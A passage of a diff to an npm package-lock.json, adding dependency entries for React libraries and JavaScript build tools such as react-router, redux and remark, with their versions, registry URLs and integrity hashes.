"sha512-I+vcaK9t4+kypiSgaiVWAipqHRXYmZIuAiS8vzFvXHHXVigg/sMKwlRgLy6LH2i3rmP+0Vzfl5lFsFRwF1r3pg==" + }, + "node_modules/react-dnd": { + "version": "11.1.3", + "resolved": "https://registry.npmjs.org/react-dnd/-/react-dnd-11.1.3.tgz", + "integrity": "sha512-8rtzzT8iwHgdSC89VktwhqdKKtfXaAyC4wiqp0SywpHG12TTLvfOoL6xNEIUWXwIEWu+CFfDn4GZJyynCEuHIQ==", + "dependencies": { + "@react-dnd/shallowequal": "^2.0.0", + "@types/hoist-non-react-statics": "^3.3.1", + "dnd-core": "^11.1.3", + "hoist-non-react-statics": "^3.3.0" + }, + "peerDependencies": { + "react": ">= 16.9.0", + "react-dom": ">= 16.9.0" + } + }, + "node_modules/react-dnd-html5-backend": { + "version": "11.1.3", + "resolved": "https://registry.npmjs.org/react-dnd-html5-backend/-/react-dnd-html5-backend-11.1.3.tgz", + "integrity": "sha512-/1FjNlJbW/ivkUxlxQd7o3trA5DE33QiRZgxent3zKme8DwF4Nbw3OFVhTRFGaYhHFNL1rZt6Rdj1D78BjnNLw==", + "dependencies": { + "dnd-core": "^11.1.3" + } + }, + "node_modules/react-dom": { + "version": "16.14.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.14.0.tgz", + "integrity": "sha512-1gCeQXDLoIqMgqD3IO2Ah9bnf0w9kzhwN5q4FGnHZ67hBm9yePzB5JJAIQCc8x3pFnNlwFq4RidZggNAAkzWWw==", + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "prop-types": "^15.6.2", + "scheduler": "^0.19.1" + }, + "peerDependencies": { + "react": "^16.14.0" + } + }, + "node_modules/react-event-timeline": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/react-event-timeline/-/react-event-timeline-1.6.3.tgz", + "integrity": "sha512-hMGhC9/Xx3sPF/TSlMCA13hZm/2c5CvBxbkDM7bQ4yq6VJ6AmhjqKPnU6/3nVmWUGpK3YqhHb95OiqulxVD3Eg==", + "dependencies": { + "prop-types": "^15.6.0" + }, + "peerDependencies": { + "react": ">= 0.14.0 < 17.0.0-0" + } + }, + "node_modules/react-fa": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/react-fa/-/react-fa-5.0.0.tgz", + "integrity": "sha512-pBEJigNkDJPAP/P9mQXT55VbJbbtwqi4ayieXuFvGpd+gl3aZ9IbjjVKJihdhdysJP0XRgrSa3sT3yOmkQi8wQ==", + "deprecated": "Use https://github.com/FortAwesome/react-fontawesome instead", + "dependencies": { + "font-awesome": "^4.3.0", + "prop-types": "^15.5.8" + }, + "peerDependencies": { + "react": ">= 0.13.0 <17.0.0" + } + }, + "node_modules/react-filepond": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.1.1.tgz", + "integrity": "sha512-6Szyi3zY4AEiSlE5rztJov/xIDB107Sv31MctDoSutdLinMqmbMej6kJ2MtSGzAhsP2+h8cDDr51mdHNXt97Yw==", + "peerDependencies": { + "filepond": ">=3.7.x < 5.x", + "react": "16 - 18", + "react-dom": "16 - 18" + } + }, + "node_modules/react-graph-vis": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.7.tgz", + "integrity": "sha512-FI35zlBMKU22JEvG1ukd1DDwW185y4YrDvHm6Bom9EGdA+UNMrZrIV/lyPIRWPcRkzbKaA1w1NvOYcRApD4KdQ==", + "dependencies": { + "lodash": "^4.17.15", + "prop-types": "^15.5.10", + "uuid": "^2.0.1", + "vis-data": "^7.1.2", + "vis-network": "^9.0.0" + }, + "peerDependencies": { + "react": "*" + } + }, + "node_modules/react-graph-vis/node_modules/uuid": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-2.0.3.tgz", + "integrity": "sha1-Z+LoY3lyFVMN/zGOW/nc6/1Hsho=", + "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details." + }, + "node_modules/react-hot-loader": { + "version": "4.13.0", + "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.13.0.tgz", + "integrity": "sha512-JrLlvUPqh6wIkrK2hZDfOyq/Uh/WeVEr8nc7hkn2/3Ul0sx1Kr5y4kOGNacNRoj7RhwLNcQ3Udf1KJXrqc0ZtA==", + "dependencies": { + "fast-levenshtein": "^2.0.6", + "global": "^4.3.0", + "hoist-non-react-statics": "^3.3.0", + "loader-utils": "^1.1.0", + "prop-types": "^15.6.1", + "react-lifecycles-compat": "^3.0.4", + "shallowequal": "^1.1.0", + "source-map": "^0.7.3" + }, + "engines": { + "node": ">= 6" + }, + "peerDependencies": { + "@types/react": "^15.0.0 || ^16.0.0 || ^17.0.0 ", + "react": "^15.0.0 || ^16.0.0 || ^17.0.0 ", + "react-dom": "^15.0.0 || ^16.0.0 || ^17.0.0 " + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/react-hot-loader/node_modules/json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "dependencies": { + "minimist": "^1.2.0" + }, + "bin": { + "json5": "lib/cli.js" + } + }, + "node_modules/react-hot-loader/node_modules/loader-utils": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz", + "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==", + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^1.0.1" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/react-hot-loader/node_modules/source-map": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", + "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==" + }, + "node_modules/react-json-tree": { + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.12.1.tgz", + "integrity": "sha512-j6fkRY7ha9XMv1HPVakRCsvyFwHGR5AZuwO8naBBeZXnZbbLor5tpcUxS/8XD01+D1v7ZN5p+7LU+9V1uyASiQ==", + "dependencies": { + "prop-types": "^15.7.2", + "react-base16-styling": "^0.7.0" + }, + "peerDependencies": { + "react": "^16.3.0", + "react-dom": "^16.3.0" + } + }, + "node_modules/react-jsonschema-form-bs4": { + "version": "1.7.1", + "resolved": "https://registry.npmjs.org/react-jsonschema-form-bs4/-/react-jsonschema-form-bs4-1.7.1.tgz", + "integrity": "sha512-0SYhkHi9AByWsnE7lVokesFEpcb52QCCeHrhgvFO7lJ9IX6CBTr0ewjj7uERWY5OdWoCLA+tPcqO6RhA0R9TWQ==", + "dependencies": { + "@babel/runtime-corejs2": "^7.4.5", + "@types/json-schema": "*", + "@types/react": "*", + "ajv": "^6.7.0", + "core-js": "^2.5.7", + "lodash.get": "^4.4.2", + "lodash.pick": "^4.4.0", + "lodash.topath": "^4.5.2", + "prop-types": "^15.5.8", + "react-is": "^16.8.4", + "react-lifecycles-compat": "^3.0.4", + "shortid": "^2.2.14" + }, + "engines": { + "node": ">=6", + "npm": ">=2.14.7" + }, + "peerDependencies": { + "react": ">=15" + } + }, + "node_modules/react-jsonschema-form-bs4/node_modules/core-js": { + "version": "2.6.12", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.12.tgz", + "integrity": "sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==", + "deprecated": "core-js@<3.4 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Please, upgrade your dependencies to the actual version of core-js.", + "hasInstallScript": true + }, + "node_modules/react-jsonschema-form-bs4/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "node_modules/react-lifecycles-compat": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz", + "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==" + }, + "node_modules/react-overlays": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-5.1.1.tgz", + "integrity": "sha512-eCN2s2/+GVZzpnId4XVWtvDPYYBD2EtOGP74hE+8yDskPzFy9+pV1H3ZZihxuRdEbQzzacySaaDkR7xE0ydl4Q==", + "dependencies": { + "@babel/runtime": "^7.13.8", + "@popperjs/core": "^2.8.6", + "@restart/hooks": "^0.3.26", + "@types/warning": "^3.0.0", + "dom-helpers": "^5.2.0", + "prop-types": "^15.7.2", + "uncontrollable": "^7.2.1", + "warning": "^4.0.3" + }, + "peerDependencies": { + "react": ">=16.3.0", + "react-dom": ">=16.3.0" + } + }, + "node_modules/react-redux": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.1.2.tgz", + "integrity": "sha512-Ns1G0XXc8hDyH/OcBHOxNgQx9ayH3SPxBnFCOidGKSle8pKihysQw2rG/PmciUQRoclhVBO8HMhiRmGXnDja9Q==", + "dependencies": { + "@babel/runtime": "^7.1.2", + "hoist-non-react-statics": "^3.3.0", + "invariant": "^2.2.4", + "loose-envify": "^1.1.0", + "prop-types": "^15.6.1", + "react-is": "^16.6.0", + "react-lifecycles-compat": "^3.0.0" + }, + "peerDependencies": { + "react": "^0.14.0 || ^15.0.0-0 || ^16.0.0-0", + "redux": "^2.0.0 || ^3.0.0 || ^4.0.0-0" + } + }, + "node_modules/react-redux/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "node_modules/react-router": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-5.2.1.tgz", + "integrity": "sha512-lIboRiOtDLFdg1VTemMwud9vRVuOCZmUIT/7lUoZiSpPODiiH1UQlfXy+vPLC/7IWdFYnhRwAyNqA/+I7wnvKQ==", + "dependencies": { + "@babel/runtime": "^7.12.13", + "history": "^4.9.0", + "hoist-non-react-statics": "^3.1.0", + "loose-envify": "^1.3.1", + "mini-create-react-context": "^0.4.0", + "path-to-regexp": "^1.7.0", + "prop-types": "^15.6.2", + "react-is": "^16.6.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" + }, + "peerDependencies": { + "react": ">=15" + } + }, + "node_modules/react-router-dom": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-5.3.0.tgz", + "integrity": "sha512-ObVBLjUZsphUUMVycibxgMdh5jJ1e3o+KpAZBVeHcNQZ4W+uUGGWsokurzlF4YOldQYRQL4y6yFRWM4m3svmuQ==", + "dependencies": { + "@babel/runtime": "^7.12.13", + "history": "^4.9.0", + "loose-envify": "^1.3.1", + "prop-types": "^15.6.2", + "react-router": "5.2.1", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" + }, + "peerDependencies": { + "react": ">=15" + } + }, + "node_modules/react-router/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "node_modules/react-sortable-tree": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/react-sortable-tree/-/react-sortable-tree-2.8.0.tgz", + "integrity": "sha512-gTjwxRNt7z0FC76KeNTnGqx1qUSlV3N78mMPRushBpSUXzZYhiFNsWHUIruyPnaAbw4SA7LgpItV7VieAuwDpw==", + "dependencies": { + "frontend-collective-react-dnd-scrollzone": "^1.0.2", + "lodash.isequal": "^4.5.0", + "prop-types": "^15.6.1", + "react-dnd": "^11.1.3", + "react-dnd-html5-backend": "^11.1.3", + "react-lifecycles-compat": "^3.0.4", + "react-virtualized": "^9.21.2" + }, + "peerDependencies": { + "react": "^16.3.0", + "react-dnd": "^7.3.0", + "react-dom": "^16.3.0" + } + }, + "node_modules/react-spinners": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/react-spinners/-/react-spinners-0.9.0.tgz", + "integrity": "sha512-+x6eD8tn/aYLdxZjNW7fSR1uoAXLb9qq6TFYZR1dFweJvckcf/HfP8Pa/cy5HOvB/cvI4JgrYXTjh2Me3S6Now==", + "dependencies": { + "@emotion/core": "^10.0.15" + }, + "peerDependencies": { + "react": "^16.0.0", + "react-dom": "^16.0.0" + } + }, + "node_modules/react-table": { + "version": "6.11.5", + "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.11.5.tgz", + "integrity": "sha512-LM+AS9v//7Y7lAlgTWW/cW6Sn5VOb3EsSkKQfQTzOW8FngB1FUskLLNEVkAYsTX9LjOWR3QlGjykJqCE6eXT/g==", + "dependencies": { + "@types/react-table": "^6.8.5", + "classnames": "^2.2.5", + "react-is": "^16.8.1" + }, + "peerDependencies": { + "prop-types": "^15.7.0", + "react": "^16.x.x", + "react-dom": "^16.x.x" + } + }, + "node_modules/react-table/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "node_modules/react-to-print": { + "version": "2.14.5", + "resolved": "https://registry.npmjs.org/react-to-print/-/react-to-print-2.14.5.tgz", + "integrity": "sha512-FeFBo4oRscVNiuw9/qET3RHOArN5wo1z0skzABdzFaxZNIy6FM8beJyBHxYWsiQ92M6Dv2To9Fp03Gve02GS5A==", + "dependencies": { + "prop-types": "^15.8.1" + }, + "peerDependencies": { + "react": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0", + "react-dom": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/react-tooltip-lite": { + "version": "1.12.0", + "resolved": "https://registry.npmjs.org/react-tooltip-lite/-/react-tooltip-lite-1.12.0.tgz", + "integrity": "sha512-QjDnmDmjtLNKvLY6bzUOG8W6ZDBTiE4UXugGzClOQEGvMvbkJn2GvZvLwRaxsN/GCx7589RgbGaESMiJAm+zWg==", + "dependencies": { + "prop-types": "^15.5.8" + }, + "peerDependencies": { + "react": "^15.5.4 || ^16.0.0", + "react-dom": "^15.5.4 || ^16.0.0" + } + }, + "node_modules/react-transition-group": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-4.4.2.tgz", + "integrity": "sha512-/RNYfRAMlZwDSr6z4zNKV6xu53/e2BuaBbGhbyYIXTrmgu/bGHzmqOs7mJSJBHy9Ud+ApHx3QjrkKSp1pxvlFg==", + "dependencies": { + "@babel/runtime": "^7.5.5", + "dom-helpers": "^5.0.1", + "loose-envify": "^1.4.0", + "prop-types": "^15.6.2" + }, + "peerDependencies": { + "react": ">=16.6.0", + "react-dom": ">=16.6.0" + } + }, + "node_modules/react-tsparticles": { + "version": "1.43.0", + "resolved": "https://registry.npmjs.org/react-tsparticles/-/react-tsparticles-1.43.0.tgz", + "integrity": "sha512-JzNG8GGopVkmsS4/f/qKSOEMyb6gIuGS+wn/GHSdlo5vzTFj53DCXQFM9k2XlPOSzoULkQ6/VEk/1WOL/UWazA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/matteobruni" + }, + { + "type": "buymeacoffee", + "url": "https://www.buymeacoffee.com/matteobruni" + } + ], + "hasInstallScript": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "tsparticles": "^1.43.0" + }, + "peerDependencies": { + "react": ">=16" + } + }, + "node_modules/react-virtualized": { + "version": "9.22.3", + "resolved": "https://registry.npmjs.org/react-virtualized/-/react-virtualized-9.22.3.tgz", + "integrity": "sha512-MKovKMxWTcwPSxE1kK1HcheQTWfuCxAuBoSTf2gwyMM21NdX/PXUhnoP8Uc5dRKd+nKm8v41R36OellhdCpkrw==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "clsx": "^1.0.4", + "dom-helpers": "^5.1.3", + "loose-envify": "^1.4.0", + "prop-types": "^15.7.2", + "react-lifecycles-compat": "^3.0.4" + }, + "peerDependencies": { + "react": "^15.3.0 || ^16.0.0-alpha", + "react-dom": "^15.3.0 || ^16.0.0-alpha" + } + }, + "node_modules/read-pkg": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz", + "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==", + "dev": true, + "dependencies": { + "@types/normalize-package-data": "^2.4.0", + "normalize-package-data": "^2.5.0", + "parse-json": "^5.0.0", + "type-fest": "^0.6.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/read-pkg-up": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-7.0.1.tgz", + "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==", + "dev": true, + "dependencies": { + "find-up": "^4.1.0", + "read-pkg": "^5.2.0", + "type-fest": "^0.8.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-pkg-up/node_modules/type-fest": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", + "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/read-pkg/node_modules/hosted-git-info": { + "version": "2.8.9", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", + "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", + "dev": true + }, + "node_modules/read-pkg/node_modules/normalize-package-data": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", + "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", + "dev": true, + "dependencies": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "node_modules/read-pkg/node_modules/semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/read-pkg/node_modules/type-fest": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz", + "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/readable-stream": { + "version": "1.0.34", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", + "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/recast": { + "version": "0.11.23", + "resolved": "https://registry.npmjs.org/recast/-/recast-0.11.23.tgz", + "integrity": "sha1-RR/TAEqx5N+bTktmN2sqIZEkYtM=", + "dev": true, + "dependencies": { + "ast-types": "0.9.6", + "esprima": "~3.1.0", + "private": "~0.1.5", + "source-map": "~0.5.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/recast/node_modules/esprima": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-3.1.3.tgz", + "integrity": "sha1-/cpRzuYTOJXjyI1TXOSdv/YqRjM=", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/rechoir": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.7.1.tgz", + "integrity": "sha512-/njmZ8s1wVeR6pjTZ+0nCnv8SpZNRMT2D1RLOJQESlYFDBvwpTA4KWJpZ+sBJ4+vhjILRcK7JIFdGCdxEAAitg==", + "dev": true, + "dependencies": { + "resolve": "^1.9.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/redent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", + "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "dev": true, + "dependencies": { + "indent-string": "^4.0.0", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/redux": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/redux/-/redux-4.1.2.tgz", + "integrity": "sha512-SH8PglcebESbd/shgf6mii6EIoRM0zrQyjcuQ+ojmfxjTtE0z9Y8pa62iA/OJ58qjP6j27uyW4kUF4jl/jd6sw==", + "dependencies": { + "@babel/runtime": "^7.9.2" + } + }, + "node_modules/regenerate": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==", + "dev": true + }, + "node_modules/regenerate-unicode-properties": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.0.1.tgz", + "integrity": "sha512-vn5DU6yg6h8hP/2OkQo3K7uVILvY4iu0oI4t3HFa81UPkhGJwkRwM10JEc3upjdhHjs/k8GJY1sRBhk5sr69Bw==", + "dev": true, + "dependencies": { + "regenerate": "^1.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.13.9", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz", + "integrity": "sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA==" + }, + "node_modules/regenerator-transform": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.14.5.tgz", + "integrity": "sha512-eOf6vka5IO151Jfsw2NO9WpGX58W6wWmefK3I1zEGr0lOD0u8rwPaNqQL1aRxUaxLeKO3ArNh3VYg1KbaD+FFw==", + "dev": true, + "dependencies": { + "@babel/runtime": "^7.8.4" + } + }, + "node_modules/regexp.prototype.flags": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.4.1.tgz", + "integrity": "sha512-pMR7hBVUUGI7PMA37m2ofIdQCsomVnas+Jn5UPGAHQ+/LlwKm/aTLJHdasmHRzlfeZwHiAOaRSo2rbBDm3nNUQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regexpp": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-2.0.1.tgz", + "integrity": "sha512-lv0M6+TkDVniA3aD1Eg0DVpfU/booSu7Eev3TDO/mZKHBfVjgCGTV4t4buppESEYDtkArYFOxTJWv6S5C+iaNw==", + "dev": true, + "engines": { + "node": ">=6.5.0" + } + }, + "node_modules/regexpu-core": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.0.1.tgz", + "integrity": "sha512-CriEZlrKK9VJw/xQGJpQM5rY88BtuL8DM+AEwvcThHilbxiTAy8vq4iJnd2tqq8wLmjbGZzP7ZcKFjbGkmEFrw==", + "dev": true, + "dependencies": { + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.0.1", + "regjsgen": "^0.6.0", + "regjsparser": "^0.8.2", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regjsgen": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.6.0.tgz", + "integrity": "sha512-ozE883Uigtqj3bx7OhL1KNbCzGyW2NQZPl6Hs09WTvCuZD5sTI4JY58bkbQWa/Y9hxIsvJ3M8Nbf7j54IqeZbA==", + "dev": true + }, + "node_modules/regjsparser": { + "version": "0.8.4", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.8.4.tgz", + "integrity": "sha512-J3LABycON/VNEu3abOviqGHuB/LOtOQj8SKmfP9anY5GfAVw/SPjwzSjxGjbZXIxbGfqTHtJw58C2Li/WkStmA==", + "dev": true, + "dependencies": { + "jsesc": "~0.5.0" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/regjsparser/node_modules/jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=", + "dev": true, + "bin": { + "jsesc": "bin/jsesc" + } + }, + "node_modules/relateurl": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha1-VNvzd+UUQKypCkzSdGANP/LYiKk=", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/remark": { + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/remark/-/remark-13.0.0.tgz", + "integrity": "sha512-HDz1+IKGtOyWN+QgBiAT0kn+2s6ovOxHyPAFGKVE81VSzJ+mq7RwHFledEvB5F1p4iJvOah/LOKdFuzvRnNLCA==", + "dev": true, + "dependencies": { + "remark-parse": "^9.0.0", + "remark-stringify": "^9.0.0", + "unified": "^9.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-parse": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-9.0.0.tgz", + "integrity": "sha512-geKatMwSzEXKHuzBNU1z676sGcDcFoChMK38TgdHJNAYfFtsfHDQG7MoJAjs6sgYMqyLduCYWDIWZIxiPeafEw==", + "dev": true, + "dependencies": { + "mdast-util-from-markdown": "^0.8.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-stringify": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-9.0.1.tgz", + "integrity": "sha512-mWmNg3ZtESvZS8fv5PTvaPckdL4iNlCHTt8/e/8oN08nArHRHjNZMKzA/YW3+p7/lYqIw4nx1XsjCBo/AxNChg==", + "dev": true, + "dependencies": { + "mdast-util-to-markdown": "^0.6.0" + }, + "funding": { + "type": 